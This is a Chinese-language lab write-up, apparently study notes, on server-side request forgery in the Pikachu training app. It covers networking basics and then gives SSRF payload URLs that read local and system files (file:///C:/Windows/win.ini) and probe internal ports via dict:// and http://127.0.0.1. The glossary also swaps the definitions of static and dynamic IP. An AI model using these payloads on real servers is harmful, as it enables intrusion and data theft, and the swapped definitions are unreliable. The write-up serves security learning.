概念补充:
内网:局部范围内的私有网络,比如局域网就是一个小范围的内网,有私有IP,并且内网受防火墙的保护,外网无法直接访问
外网:全球范围的公共网络,公有ip
ip地址:
- 静态ip:比如家庭宽带,经常改变
- 动态ip:比如服务器ip,固定不变
- 作用:标识一台设备,确保数据能准确的传达
域名:字母和单词代替数字,依赖dns解析转换成ip才能访问
curl:个人理解,是一种服务器访问url的工具,就像输入url获取内容,但该功能对用户提交的url没有严格的过滤,导致攻击者可以让服务器访问本不该访问的内部资源
ssrf(服务器端请求伪造):
ssrf的形成大多数是由服务端提供了从其他服务器应用获取数据的功能(比如curl),并且没有对目标地址做出限制
端口:
通过端口可以区分不同服务
作用:让一台设备同时运行多个网络服务
一:SSRF(curl)
点击链接,观察顶部url
http://10.24.11.221/pikachu/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1/pikachu/vul/ssrf/ssrf_info/info1.php
建立新页面,复制url后链接过去,发现页面链接内容
所以我们尝试通过修改url后面的网址链接来在当前页面显示不一样的东西
1.回显公网url
比如把链接改成百度官网
http://www.baidu.com
成功回显
2.尝试读取主机文件
在d盘放了一个测试文件,回显成功
?url=file://D:/testpk.txt
3.扫描本地端口
输入win.ini
?url=file:///C:/Windows/win.ini
成功回显,尝试扫描端口
本地web服务目录:
?url=http://127.0.0.1:80
Mysql:
?url=dict://127.0.0.1:3306
二:SSRF(file_get_content)
和上一关一样的方法,但把url改成了file
?file=http://www.baidu.com
?file=file://D:/testpk.txt
?file=file:///C:/Windows/win.ini
?file=dict://127.0.0.1:3306
?file=http://127.0.0.1:80